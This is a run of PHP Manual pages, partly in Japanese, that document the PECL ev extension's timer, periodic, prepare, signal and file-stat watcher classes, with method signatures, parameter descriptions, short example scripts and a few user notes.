  • PHP Manual
  • EvLoop
  • Creates EvTimer watcher object associated with the current event loop instance

EvLoop::timer

(PECL ev >= 0.2.0)

EvLoop::timer — Creates EvTimer watcher object associated with the current event loop instance

説明

final public EvLoop::timer ( float $after , float $repeat , callable $callback , mixed $data = null , int $priority = 0 ) : EvTimer

Creates EvTimer watcher object associated with the current event loop instance

パラメータ

All parameters have the same meaning as for EvTimer::__construct()

返り値

Returns EvTimer object on success

参考

  • EvTimer::__construct() - Constructs an EvTimer watcher object

User Contributed Notes

There are no user contributed notes for this page.


Performs internal consistency checks(for debugging)

  • ≪ EvLoop::timer
  • EvPeriodic ≫
  • PHP Manual
  • EvLoop
  • Performs internal consistency checks(for debugging)

EvLoop::verify

(PECL ev >= 0.2.0)

EvLoop::verify — Performs internal consistency checks(for debugging)

説明

public EvLoop::verify ( ) : void

Performs internal consistency checks(for debugging libev ) and abort the program if any data structures were found to be corrupted.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • Ev::verify() - 内部の整合性をチェックする (デバッグ用)

User Contributed Notes

There are no user contributed notes for this page.


The EvPeriodic class

(PECL ev >= 0.2.0)

はじめに

Periodic watchers are also timers of a kind, but they are very versatile.

Unlike EvTimer , EvPeriodic watchers are not based on real time(or relative time, the physical time that passes) but on wall clock time(absolute time, calendar or clock). The difference is that wall clock time can run faster or slower than real time, and time jumps are not uncommon(e.g. when adjusting it).

EvPeriodic watcher can be configured to trigger after some specific point in time. For example, if an EvPeriodic watcher is configured to trigger "in 10 seconds" (e.g. EvLoop::now() + 10.0 , i.e. an absolute time, not a delay), and the system clock is reset to January of the previous year , then it will take a year or more to trigger the event (unlike an EvTimer , which would still trigger roughly 10 seconds after starting it as it uses a relative timeout).

As with timers, the callback is guaranteed to be invoked only when the point in time where it is supposed to trigger has passed. If multiple timers become ready during the same loop iteration then the ones with earlier time-out values are invoked before ones with later time-out values (but this is no longer true when a callback calls EvLoop::run() recursively).

クラス概要

EvPeriodic extends EvWatcher {
/* プロパティ */
public $offset ;
public $interval ;
/* 継承したプロパティ */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* メソッド */
public again ( ) : void
public at ( ) : float
public __construct ( float $offset , string $interval , callable $reschedule_cb , callable $callback , mixed $data = null , int $priority = 0 )
final public static createStopped ( float $offset , float $interval , callable $reschedule_cb , callable $callback , mixed $data = null , int $priority = 0 ) : EvPeriodic
public set ( float $offset , float $interval ) : void
/* 継承したメソッド */
public EvWatcher::clear ( ) : int
abstract public EvWatcher::__construct ( )
public EvWatcher::feed ( int $revents ) : void
public EvWatcher::getLoop ( ) : EvLoop
public EvWatcher::invoke ( int $revents ) : void
public EvWatcher::keepalive ( bool $value = ? ) : bool
public EvWatcher::setCallback ( callable $callback ) : void
public EvWatcher::start ( ) : void
public EvWatcher::stop ( ) : void
}

プロパティ

offset

When repeating, this contains the offset value, otherwise this is the absolute point in time(the offset value passed to EvPeriodic::set() , although libev might modify this value for better numerical stability).

interval

The current interval value. Can be modified any time, but changes only take effect when the periodic timer fires or EvPeriodic::again() is being called.

目次

  • EvPeriodic::again — Simply stops and restarts the periodic watcher again
  • EvPeriodic::at — Returns the absolute time that this watcher is supposed to trigger next
  • EvPeriodic::__construct — Constructs EvPeriodic watcher object
  • EvPeriodic::createStopped — Create a stopped EvPeriodic watcher
  • EvPeriodic::set — Configures the watcher

User Contributed Notes

There are no user contributed notes for this page.


Simply stops and restarts the periodic watcher again

  • ≪ EvPeriodic
  • EvPeriodic::at ≫
  • PHP Manual
  • EvPeriodic
  • Simply stops and restarts the periodic watcher again

EvPeriodic::again

(PECL ev >= 0.2.0)

EvPeriodic::again — Simply stops and restarts the periodic watcher again

説明

public EvPeriodic::again ( ) : void

Simply stops and restarts the periodic watcher again. This is only useful when attributes are changed.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • EvTimer::again() - Restarts the timer watcher

User Contributed Notes

There are no user contributed notes for this page.


Returns the absolute time that this watcher is supposed to trigger next

  • ≪ EvPeriodic::again
  • EvPeriodic::__construct ≫
  • PHP Manual
  • EvPeriodic
  • Returns the absolute time that this watcher is supposed to trigger next

EvPeriodic::at

(PECL ev >= 0.2.0)

EvPeriodic::at — Returns the absolute time that this watcher is supposed to trigger next

説明

public EvPeriodic::at ( ) : float

When the watcher is active, returns the absolute time that this watcher is supposed to trigger next. This is not the same as the offset argument to EvPeriodic::set() or EvPeriodic::__construct() , but indeed works even in interval mode.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the absolute time this watcher is supposed to trigger next in seconds.

User Contributed Notes

There are no user contributed notes for this page.


Constructs EvPeriodic watcher object

  • ≪ EvPeriodic::at
  • EvPeriodic::createStopped ≫
  • PHP Manual
  • EvPeriodic
  • Constructs EvPeriodic watcher object

EvPeriodic::__construct

(PECL ev >= 0.2.0)

EvPeriodic::__construct — Constructs EvPeriodic watcher object

説明

public EvPeriodic::__construct ( float $offset , string $interval , callable $reschedule_cb , callable $callback , mixed $data = null , int $priority = 0 )

Constructs EvPeriodic watcher object and starts it automatically. EvPeriodic::createStopped() method creates stopped periodic watcher.

パラメータ

offset

See Periodic watcher operation modes

interval

See Periodic watcher operation modes

reschedule_cb

Reschedule callback. You can pass null. See Periodic watcher operation modes

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返り値

Returns EvPeriodic object on success.

例

例1 Periodic timer. Use reschedule callback

<?php
// Tick each 10.5 seconds

function reschedule_cb ($watcher, $now) {
 return $now + (10.5. - fmod($now, 10.5));
}

$w = new EvPeriodic(0., 0., "reschedule_cb", function ($w, $revents) {
 echo time(), PHP_EOL;
});
Ev::run();
?>

例2 Periodic timer. Tick every 10.5 seconds starting at now

<?php
// Tick every 10.5 seconds starting at now
$w = new EvPeriodic(fmod(Ev::now(), 10.5), 10.5, NULL, function ($w, $revents) {
 echo time(), PHP_EOL;
});
Ev::run();
?>

例3 Hourly watcher

<?php
$hourly = EvPeriodic(0, 3600, NULL, function () {
 echo "once per hour\n";
});
?>

参考

  • Periodic watcher operation modes
  • EvTimer
  • EvPeriodic::createStopped() - Create a stopped EvPeriodic watcher

User Contributed Notes

1187328898 at qq dot com 22-Jun-2018 03:14
function reschedule_cb_10s ($watcher, $now) {
    return $now + 10.;
}

//PHP7.0+版本不支持reschedule_cb模式
// PHP5.6??通?
$w5 = new EvPeriodic(0.0, 0.0, "reschedule_cb_10s", function ($w, $revents) {
    echo "w5:enter:", time(), PHP_EOL;
//    sleep(3);
    echo "w5:end:", time(), PHP_EOL;
});

Ev::run();


Create a stopped EvPeriodic watcher

  • ≪ EvPeriodic::__construct
  • EvPeriodic::set ≫
  • PHP Manual
  • EvPeriodic
  • Create a stopped EvPeriodic watcher

EvPeriodic::createStopped

(PECL ev >= 0.2.0)

EvPeriodic::createStopped — Create a stopped EvPeriodic watcher

説明

final public static EvPeriodic::createStopped ( float $offset , float $interval , callable $reschedule_cb , callable $callback , mixed $data = null , int $priority = 0 ) : EvPeriodic

Create EvPeriodic object. Unlike EvPeriodic::__construct() this method doesn't start the watcher automatically.

パラメータ

offset

See Periodic watcher operation modes

interval

See Periodic watcher operation modes

reschedule_cb

Reschedule callback. You can pass null. See Periodic watcher operation modes

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返り値

Returns EvPeriodic watcher object on success.

参考

  • EvPeriodic::__construct() - Constructs EvPeriodic watcher object
  • EvTimer::createStopped() - Creates EvTimer stopped watcher object

User Contributed Notes

There are no user contributed notes for this page.


Configures the watcher

  • ≪ EvPeriodic::createStopped
  • EvPrepare ≫
  • PHP Manual
  • EvPeriodic
  • Configures the watcher

EvPeriodic::set

(PECL ev >= 0.2.0)

EvPeriodic::set — Configures the watcher

説明

public EvPeriodic::set ( float $offset , float $interval ) : void

(Re-)Configures EvPeriodic watcher

パラメータ

offset

The same meaning as for EvPeriodic::__construct() . See Periodic watcher operation modes

interval

The same meaning as for EvPeriodic::__construct() . See Periodic watcher operation modes

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


EvPrepare クラス

(PECL ev >= 0.2.0)

はじめに

EvPrepare ウォッチャーと EvCheck ウォッチャーは、 通常はペアで使います。 EvPrepare ウォッチャーはプロセスをブロックする前に起動し、 EvCheck はブロックした後に起動します。

EvLoop::run() あるいはそれに類するメソッドや関数 (現在のイベントループに入るもの) は、EvPrepare ウォッチャーや EvCheck ウォッチャーからは呼べません。 現在のループ以外のループは問題ありません。 その理由は、これらのウォッチャーの中では再帰をチェックする必要がないからです。 つまり、処理の流れは常に EvPrepare -> ブロック -> EvCheck となるので、これらのウォッチャーは常にペアで呼ばれ、ブロッキング呼び出しの前後を囲むことになります。

主な利用目的は他のイベント機構を libev に統合することで、 少し高度な使いかたになります。変数の変更を追跡したり 自前のウォッチャーを実装したり、net-snmp やコルーチンライブラリを統合したりといった、 さまざまな用途で使えます。 また、何らかのデータをキャッシュしてブロッキングの前にフラッシュするなどの用途で使えることもあります。

EvCheck には最高の優先度 (Ev::MAXPRI) を与えることを推奨します。 これで、ポーリングの後は他のあらゆるウォッチャーよりも先に実行されることが保証されます (EvPrepare ウォッチャーの場合は無鐘鋳です)。

また、EvCheck ウォッチャーはイベントをアクティブにしたり送信したりしてはいけません。 libev では対応してはいますが、 他の EvCheck ウォッチャーが仕事をする前に実行される可能性があります。

クラス概要

EvPrepare extends EvWatcher {
/* 継承したプロパティ */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* メソッド */
public __construct ( string $callback , string $data = ? , string $priority = ? )
final public static createStopped ( callable $callback , mixed $data = null , int $priority = 0 ) : EvPrepare
/* 継承したメソッド */
public EvWatcher::clear ( ) : int
abstract public EvWatcher::__construct ( )
public EvWatcher::feed ( int $revents ) : void
public EvWatcher::getLoop ( ) : EvLoop
public EvWatcher::invoke ( int $revents ) : void
public EvWatcher::keepalive ( bool $value = ? ) : bool
public EvWatcher::setCallback ( callable $callback ) : void
public EvWatcher::start ( ) : void
public EvWatcher::stop ( ) : void
}

目次

  • EvPrepare::__construct — EvPrepare ウォッチャーオブジェクトを作る
  • EvPrepare::createStopped — 停止した EvPrepare ウォッチャーのインスタンスを作る

User Contributed Notes

There are no user contributed notes for this page.


EvPrepare ウォッチャーオブジェクトを作る

  • ≪ EvPrepare
  • EvPrepare::createStopped ≫
  • PHP Manual
  • EvPrepare
  • EvPrepare ウォッチャーオブジェクトを作る

EvPrepare::__construct

(PECL ev >= 0.2.0)

EvPrepare::__construct — EvPrepare ウォッチャーオブジェクトを作る

説明

public EvPrepare::__construct ( string $callback , string $data = ? , string $priority = ? )

EvPrepare ウォッチャーオブジェクトを作り、自動的に開始させます。 停止状態のウォッチャーが必要なときは、 EvPrepare::createStopped() を使いましょう。

パラメータ

callback

ウォッチャーのコールバック を参照ください。

data

このウォッチャーに関連づけるカスタムデータ。

priority

ウォッチャーの優先度。

返り値

成功した場合に EvPrepare オブジェクトを返します。

参考

  • EvCheck

User Contributed Notes

There are no user contributed notes for this page.


停止した EvPrepare ウォッチャーのインスタンスを作る

  • ≪ EvPrepare::__construct
  • EvSignal ≫
  • PHP Manual
  • EvPrepare
  • 停止した EvPrepare ウォッチャーのインスタンスを作る

EvPrepare::createStopped

(PECL ev >= 0.2.0)

EvPrepare::createStopped — 停止した EvPrepare ウォッチャーのインスタンスを作る

説明

final public static EvPrepare::createStopped ( callable $callback , mixed $data = null , int $priority = 0 ) : EvPrepare

停止した EvPrepare ウォッチャーのインスタンスを作ります。 EvPrepare::__construct() とは違い、 このメソッドはウォッチャーを自動的に開始させません。

パラメータ

callback

ウォッチャーのコールバック を参照ください。

data

このウォッチャーに関連づけるカスタムデータ。

priority

ウォッチャーの優先度。

返り値

成功した場合に EvPrepare オブジェクトを返します。

参考

  • EvPrepare::__construct() - EvPrepare ウォッチャーオブジェクトを作る
  • EvWatcher::start() - Starts the watcher

User Contributed Notes

There are no user contributed notes for this page.


The EvSignal class

(PECL ev >= 0.2.0)

はじめに

EvSignal watchers will trigger an event when the process receives a specific signal one or more times. Even though signals are very asynchronous, libev will try its best to deliver signals synchronously, i.e. as part of the normal event processing, like any other event.

There is no limit for the number of watchers for the same signal, but only within the same loop, i.e. one can watch for SIGINT in the default loop and for SIGIO in another loop, but it is not allowed to watch for SIGINT in both the default loop and another loop at the same time. At the moment, SIGCHLD is permanently tied to the default loop.

If possible and supported, libev will install its handlers with SA_RESTART (or equivalent) behaviour enabled, so system calls should not be unduly interrupted. In case of a problem with system calls getting interrupted by signals, all the signals can be blocked in an EvCheck watcher and unblocked in a EvPrepare watcher.

クラス概要

EvSignal extends EvWatcher {
/* プロパティ */
public $signum ;
/* 継承したプロパティ */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* メソッド */
public __construct ( int $signum , callable $callback , mixed $data = null , int $priority = 0 )
final public static createStopped ( int $signum , callable $callback , mixed $data = null , int $priority = 0 ) : EvSignal
public set ( int $signum ) : void
/* 継承したメソッド */
public EvWatcher::clear ( ) : int
abstract public EvWatcher::__construct ( )
public EvWatcher::feed ( int $revents ) : void
public EvWatcher::getLoop ( ) : EvLoop
public EvWatcher::invoke ( int $revents ) : void
public EvWatcher::keepalive ( bool $value = ? ) : bool
public EvWatcher::setCallback ( callable $callback ) : void
public EvWatcher::start ( ) : void
public EvWatcher::stop ( ) : void
}

プロパティ

signum

Signal number. See the constants exported by pcntl extension. See also signal(7) man page.

目次

  • EvSignal::__construct — Constructs EvSignal watcher object
  • EvSignal::createStopped — Create stopped EvSignal watcher object
  • EvSignal::set — Configures the watcher

User Contributed Notes

There are no user contributed notes for this page.


Constructs EvSignal watcher object

  • ≪ EvSignal
  • EvSignal::createStopped ≫
  • PHP Manual
  • EvSignal
  • Constructs EvSignal watcher object

EvSignal::__construct

(PECL ev >= 0.2.0)

EvSignal::__construct — Constructs EvSignal watcher object

説明

public EvSignal::__construct ( int $signum , callable $callback , mixed $data = null , int $priority = 0 )

Constructs EvSignal watcher object and starts it automatically. For a stopped periodic watcher consider using EvSignal::createStopped() method.

パラメータ

signum

Signal number. See constants exported by pcntl extension. See also signal(7) man page.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返り値

Returns EvSignal object on success.

例

例1 Handle SIGTERM signal

<?php
$w = new EvSignal(SIGTERM, function ($watcher) {
    echo "SIGTERM received\n";
    $watcher->stop();
});

Ev::run();
?>

参考

  • EvSignal::createStopped() - Create stopped EvSignal watcher object

User Contributed Notes

There are no user contributed notes for this page.


Create stopped EvSignal watcher object

  • ≪ EvSignal::__construct
  • EvSignal::set ≫
  • PHP Manual
  • EvSignal
  • Create stopped EvSignal watcher object

EvSignal::createStopped

(PECL ev >= 0.2.0)

EvSignal::createStopped — Create stopped EvSignal watcher object

説明

final public static EvSignal::createStopped ( int $signum , callable $callback , mixed $data = null , int $priority = 0 ) : EvSignal

Create stopped EvSignal watcher object. Unlike EvSignal::__construct() , this method does't start the watcher automatically.

パラメータ

signum

Signal number. See constants exported by pcntl extension. See also signal(7) man page.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返り値

Returns EvSignal object on success.

参考

  • EvWatcher::start() - Starts the watcher
  • EvSignal::__construct() - Constructs EvSignal watcher object

User Contributed Notes

There are no user contributed notes for this page.


Configures the watcher

  • ≪ EvSignal::createStopped
  • EvStat ≫
  • PHP Manual
  • EvSignal
  • Configures the watcher

EvSignal::set

(PECL ev >= 0.2.0)

EvSignal::set — Configures the watcher

説明

public EvSignal::set ( int $signum ) : void

Configures the watcher.

パラメータ

signum

Signal number. The same as for EvSignal::__construct()

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


The EvStat class

(PECL ev >= 0.2.0)

はじめに

EvStat monitors a file system path for attribute changes. It calls stat() on that path in regular intervals(or when the OS signals it changed) and sees if it changed compared to the last time, invoking the callback if it did.

The path does not need to exist: changing from "path exists" to "path does not exist" is a status change like any other. The condition "path does not exist" is signified by the 'nlink' item being 0(returned by EvStat::attr() method).

The path must not end in a slash or contain special components such as '.' or .. . The path should be absolute: if it is relative and the working directory changes, then the behaviour is undefined.

Since there is no portable change notification interface available, the portable implementation simply calls stat() regularly on the path to see if it changed somehow. For this case a recommended polling interval can be specified. If one specifies a polling interval of 0.0 (highly recommended) then a suitable, unspecified default value will be used(which could be expected to be around 5 seconds, although this might change dynamically). libev will also impose a minimum interval which is currently around 0.1 , but that's usually overkill.

This watcher type is not meant for massive numbers of EvStat watchers, as even with OS-supported change notifications, this can be resource-intensive.

クラス概要

EvStat extends EvWatcher {
/* プロパティ */
public $path ;
public $interval ;
/* 継承したプロパティ */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* メソッド */
public attr ( ) : array
public __construct ( string $path , float $interval , callable $callback , mixed $data = null , int $priority = 0 )
final public static createStopped ( string $path , float $interval , callable $callback , mixed $data = null , int $priority = 0 ) : void
public prev ( ) : void
public set ( string $path , float $interval ) : void
public stat ( ) : bool
/* 継承したメソッド */
public EvWatcher::clear ( ) : int
abstract public EvWatcher::__construct ( )
public EvWatcher::feed ( int $revents ) : void
public EvWatcher::getLoop ( ) : EvLoop
public EvWatcher::invoke ( int $revents ) : void
public EvWatcher::keepalive ( bool $value = ? ) : bool
public EvWatcher::setCallback ( callable $callback ) : void
public EvWatcher::start ( ) : void
public EvWatcher::stop ( ) : void
}

プロパティ

interval

Readonly . Hint on how quickly a change is expected to be detected and should normally be specified as 0.0 to let libev choose a suitable value.

path

Readonly . The path to wait for status changes on.

目次

  • EvStat::attr — Returns the values most recently detected by Ev
  • EvStat::__construct — Constructs EvStat watcher object
  • EvStat::createStopped — Create a stopped EvStat watcher object
  • EvStat::prev — Returns the previous set of values returned by EvStat::attr
  • EvStat::set — Configures the watcher
  • EvStat::stat — Initiates the stat call

User Contributed Notes

There are no user contributed notes for this page.


Returns the values most recently detected by Ev

  • ≪ EvStat
  • EvStat::__construct ≫
  • PHP Manual
  • EvStat
  • Returns the values most recently detected by Ev

EvStat::attr

(PECL ev >= 0.2.0)

EvStat::attr — Returns the values most recently detected by Ev

説明

public EvStat::attr ( ) : array

Returns array of the values most recently detected by Ev

パラメータ

この関数にはパラメータはありません。

返り値

Returns array with the values most recently detect by Ev(without actual stat 'ing):

List for item keys of the array returned by EvStat::attr()
Key | Description
'dev' | ID of device containing file
'ino' | inode number
'mode' | protection
'nlink' | number of hard links
'uid' | user ID of owner
'size' | total size, in bytes
'gid' | group ID of owner
'rdev' | device ID (if special file)
'blksize' | blocksize for file system I/O
'blocks' | number of 512B blocks allocated
'atime' | time of last access
'ctime' | time of last status change
'mtime' | time of last modification

See stat(2) man page for details.

例

例1 Monitor changes of /var/log/messages

<?php
// Use 10 second update interval.
$w = new EvStat("/var/log/messages", 8, function ($w) {
    echo "/var/log/messages changed\n";

    $attr = $w->attr();

    if ($attr['nlink']) {
        printf("Current size: %ld\n", $attr['size']);
        printf("Current atime: %ld\n", $attr['atime']);
        printf("Current mtime: %ld\n", $attr['mtime']);
    } else {
        fprintf(STDERR, "`messages` file is not there!");
        $w->stop();
    }
});

Ev::run();
?>

参考

  • EvStat::prev() - Returns the previous set of values returned by EvStat::attr
  • EvStat::stat() - Initiates the stat call

User Contributed Notes

There are no user contributed notes for this page.


Constructs EvStat watcher object

  • ≪ EvStat::attr
  • EvStat::createStopped ≫
  • PHP Manual
  • EvStat
  • Constructs EvStat watcher object

EvStat::__construct

(PECL ev >= 0.2.0)

EvStat::__construct — Constructs EvStat watcher object

説明

public EvStat::__construct ( string $path , float $interval , callable $callback , mixed $data = null , int $priority = 0 )

Constructs EvStat watcher object and starts the watcher automatically.

パラメータ

path

The path to wait for status changes on.

interval

Hint on how quickly a change is expected to be detected and should normally be specified as 0.0 to let libev choose a suitable value.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返り値

Returns EvStat watcher object on succes.

例

例1 Monitor changes of /var/log/messages

<?php
// Use 10 second update interval.
$w = new EvStat("/var/log/messages", 8, function ($w) {
 echo "/var/log/messages changed\n";

 $attr = $w->attr();

 if ($attr['nlink']) {
  printf("Current size: %ld\n", $attr['size']);
  printf("Current atime: %ld\n", $attr['atime']);
  printf("Current mtime: %ld\n", $attr['mtime']);
 } else {
  fprintf(STDERR, "`messages` file is not there!");
  $w->stop();
 }
});

Ev::run();
?>

User Contributed Notes

There are no user contributed notes for this page.


Create a stopped EvStat watcher object

  • ≪ EvStat::__construct
  • EvStat::prev ≫
  • PHP Manual
  • EvStat
  • Create a stopped EvStat watcher object

EvStat::createStopped

(PECL ev >= 0.2.0)

EvStat::createStopped — Create a stopped EvStat watcher object

説明

final public static EvStat::createStopped ( string $path , float $interval , callable $callback , mixed $data = null , int $priority = 0 ) : void

Creates EvStat watcher object, but doesn't start it automatically(unlike EvStat::__construct() ).

パラメータ

path

The path to wait for status changes on.

interval

Hint on how quickly a change is expected to be detected and should normally be specified as 0.0 to let libev choose a suitable value.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返り値

Returns a stopped EvStat watcher object on success.

参考

  • EvStat::__construct() - Constructs EvStat watcher object
  • EvWatcher::start() - Starts the watcher

User Contributed Notes

There are no user contributed notes for this page.


Returns the previous set of values returned by EvStat::attr

  • ≪ EvStat::createStopped
  • EvStat::set ≫
  • PHP Manual
  • EvStat
  • Returns the previous set of values returned by EvStat::attr

EvStat::prev

(PECL ev >= 0.2.0)

EvStat::prev — Returns the previous set of values returned by EvStat::attr

説明

public EvStat::prev ( ) : void

Just like EvStat::attr() , but returns the previous set of values.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array with the same structure as the array returned by EvStat::attr() . The array contains previously detected values.

参考

  • EvStat::attr() - Returns the values most recently detected by Ev
  • EvStat::stat() - Initiates the stat call

User Contributed Notes

There are no user contributed notes for this page.


Configures the watcher

  • ≪ EvStat::prev
  • EvStat::stat ≫
  • PHP Manual
  • EvStat
  • Configures the watcher

EvStat::set

(PECL ev >= 0.2.0)

EvStat::set — Configures the watcher

説明

public EvStat::set ( string $path , float $interval ) : void

Configures the watcher.

パラメータ

path

The path to wait for status changes on.

interval

Hint on how quickly a change is expected to be detected and should normally be specified as 0.0 to let libev choose a suitable value.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Initiates the stat call

  • ≪ EvStat::set
  • EvTimer ≫
  • PHP Manual
  • EvStat
  • Initiates the stat call

EvStat::stat

(PECL ev >= 0.2.0)

EvStat::stat — Initiates the stat call

説明

public EvStat::stat ( ) : bool

Initiates the stat call(updates internal cache). It stats(using lstat ) the path specified in the watcher and sets to the values found.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if path exists. Otherwise false.

参考

  • EvStat::attr() - Returns the values most recently detected by Ev
  • EvStat::prev() - Returns the previous set of values returned by EvStat::attr

User Contributed Notes

There are no user contributed notes for this page.


The EvTimer class

(PECL ev >= 0.2.0)

はじめに

EvTimer watchers are simple relative timers that generate an event after a given time, and optionally repeating in regular intervals after that.

The timers are based on real time, that is, if one registers an event that times out after an hour and resets the system clock to January last year , it will still time out after(roughly) one hour. "Roughly" because detecting time jumps is hard, and some inaccuracies are unavoidable.

The callback is guaranteed to be invoked only after its timeout has passed (not at, so on systems with very low-resolution clocks this might introduce a small delay). If multiple timers become ready during the same loop iteration then the ones with earlier time-out values are invoked before ones of the same priority with later time-out values (but this is no longer true when a callback calls EvLoop::run() recursively).

The timer itself will do a best-effort at avoiding drift, that is, if a timer is configured to trigger every 10 seconds, then it will normally trigger at exactly 10 second intervals. If, however, the script cannot keep up with the timer because it takes longer than those 10 seconds to do) the timer will not fire more than once per event loop iteration.

クラス概要

EvTimer extends EvWatcher {
/* プロパティ */
public $repeat ;
public $remaining ;
/* 継承したプロパティ */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* メソッド */
public again ( ) : void
public __construct ( float $after , float $repeat , callable $callback , mixed $data = null , int $priority = 0 )
final public static createStopped ( float $after , float $repeat , callable $callback , mixed $data = null , int $priority = 0 ) : EvTimer
public set ( float $after , float $repeat ) : void
/* 継承したメソッド */
public EvWatcher::clear ( ) : int
abstract public EvWatcher::__construct ( )
public EvWatcher::feed ( int $revents ) : void
public EvWatcher::getLoop ( ) : EvLoop
public EvWatcher::invoke ( int $revents ) : void
public EvWatcher::keepalive ( bool $value = ? ) : bool
public EvWatcher::setCallback ( callable $callback ) : void
public EvWatcher::start ( ) : void
public EvWatcher::stop ( ) : void
}

プロパティ

repeat

If repeat is 0.0 , then it will automatically be stopped once the timeout is reached. If it is positive, then the timer will automatically be configured to trigger again every repeat seconds later, until stopped manually.

remaining

Returns the remaining time until a timer fires. If the timer is active, then this time is relative to the current event loop time, otherwise it's the timeout value currently configured.

That is, after instanciating an EvTimer with an after value of 5.0 and repeat value of 7.0 , remaining returns 5.0 . When the timer is started and one second passes, remaining will return 4.0 . When the timer expires and is restarted, it will return roughly 7.0 (likely slightly less as callback invocation takes some time too), and so on.

目次

  • EvTimer::again — Restarts the timer watcher
  • EvTimer::__construct — Constructs an EvTimer watcher object
  • EvTimer::createStopped — Creates EvTimer stopped watcher object
  • EvTimer::set — Configures the watcher

User Contributed Notes

There are no user contributed notes for this page.


Restarts the timer watcher

  • ≪ EvTimer
  • EvTimer::__construct ≫
  • PHP Manual
  • EvTimer
  • Restarts the timer watcher

EvTimer::again

(PECL ev >= 0.2.0)

EvTimer::again — Restarts the timer watcher

説明

public EvTimer::again ( ) : void

This will act as if the timer timed out and restart it again if it is repeating. The exact semantics are:

  1. if the timer is pending, its pending status is cleared.

  2. if the timer is started but non-repeating, stop it (as if it timed out).

  3. if the timer is repeating, either start it if necessary (with the repeat value), or reset the running timer to the repeat value.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • EvWatcher::stop() - Stops the watcher

User Contributed Notes

There are no user contributed notes for this page.


Constructs an EvTimer watcher object

  • ≪ EvTimer::again
  • EvTimer::createStopped ≫
  • PHP Manual
  • EvTimer
  • Constructs an EvTimer watcher object

EvTimer::__construct

(PECL ev >= 0.2.0)

EvTimer::__construct — Constructs an EvTimer watcher object

説明

public EvTimer::__construct ( float $after , float $repeat , callable $callback , mixed $data = null , int $priority = 0 )

Constructs an EvTimer watcher object.

パラメータ

after

Configures the timer to trigger after after seconds.

repeat

If repeat is 0.0 , then it will automatically be stopped once the timeout is reached. If it is positive, then the timer will automatically be configured to trigger again every repeat seconds later, until stopped manually.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返り値

Returns EvTimer object on success.

例

例1 Simple timers

<?php
// Create and start timer firing after 2 seconds
$w1 = new EvTimer(2, 0, function () {
    echo "2 seconds elapsed\n";
});

// Create and launch timer firing after 2 seconds repeating each second
// until we manually stop it
$w2 = new EvTimer(2, 1, function ($w) {
    echo "is called every second, is launched after 2 seconds\n";
    echo "iteration = ", Ev::iteration(), PHP_EOL;

    // Stop the watcher after 5 iterations
    Ev::iteration() == 5 and $w->stop();
    // Stop the watcher if further calls cause more than 10 iterations
    Ev::iteration() >= 10 and $w->stop();
});

// Create stopped timer. It will be inactive until we start it ourselves
$w_stopped = EvTimer::createStopped(10, 5, function($w) {
    echo "Callback of a timer created as stopped\n";

    // Stop the watcher after 2 iterations
    Ev::iteration() >= 2 and $w->stop();
});

// Loop until Ev::stop() is called or all of watchers stop
Ev::run();

// Start and look if it works
$w_stopped->start();
echo "Run single iteration\n";
Ev::run(Ev::RUN_ONCE);

echo "Restart the second watcher and try to handle the same events, but don't block\n";
$w2->again();
Ev::run(Ev::RUN_NOWAIT);

$w = new EvTimer(10, 0, function() {});
echo "Running a blocking loop\n";
Ev::run();
echo "END\n";
?>

上の例の出力は、 たとえば以下のようになります。

2 seconds elapsed
is called every second, is launched after 2 seconds
iteration = 1
is called every second, is launched after 2 seconds
iteration = 2
is called every second, is launched after 2 seconds
iteration = 3
is called every second, is launched after 2 seconds
iteration = 4
is called every second, is launched after 2 seconds
iteration = 5
Run single iteration
Callback of a timer created as stopped
Restart the second watcher and try to handle the same events, but don't block
Running a blocking loop
is called every second, is launched after 2 seconds
iteration = 8
is called every second, is launched after 2 seconds
iteration = 9
is called every second, is launched after 2 seconds
iteration = 10
END

参考

  • EvTimer::createStopped() - Creates EvTimer stopped watcher object
  • EvPeriodic
  • » ev_timer - relative and optionally repeating timeouts
  • » Be smart about timeouts

User Contributed Notes

Jayesh Wadhwani 30-Jul-2013 02:56
Example of passing custom data:

<?php
// Create and start timer firing after 2 seconds with custom data
$w1 = new EvTimer(2, 0, function ($w) {
    echo "Custom data: $w->data\n";
    echo "2 seconds elapsed\n";
}, 'abcd');
Ev::run();
?>
Running this will print out:
Custom data: abcd
2 seconds elapsed

Note that 'data' is a public property of the event EvWatcher class.


Creates EvTimer stopped watcher object

  • ≪ EvTimer::__construct
  • EvTimer::set ≫
  • PHP Manual
  • EvTimer
  • Creates EvTimer stopped watcher object

EvTimer::createStopped

(PECL ev >= 0.2.0)

EvTimer::createStopped — Creates EvTimer stopped watcher object

説明

final public static EvTimer::createStopped ( float $after , float $repeat , callable $callback , mixed $data = null , int $priority = 0 ) : EvTimer

Creates EvTimer stopped watcher object. Unlike EvTimer::__construct() , this method doesn't start the watcher automatically.

パラメータ

after

Configures the timer to trigger after after seconds.

repeat

If repeat is 0.0 , then it will automatically be stopped once the timeout is reached. If it is positive, then the timer will automatically be configured to trigger again every repeat seconds later, until stopped manually.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返り値

Returns EvTimer watcher object on success.

例

例1 Monotor changes of /var/log/messages. Avoid missing updates by means of one second delay

<?php
$timer = EvTimer::createStopped(0., 1.02, function ($w) {
    $w->stop();

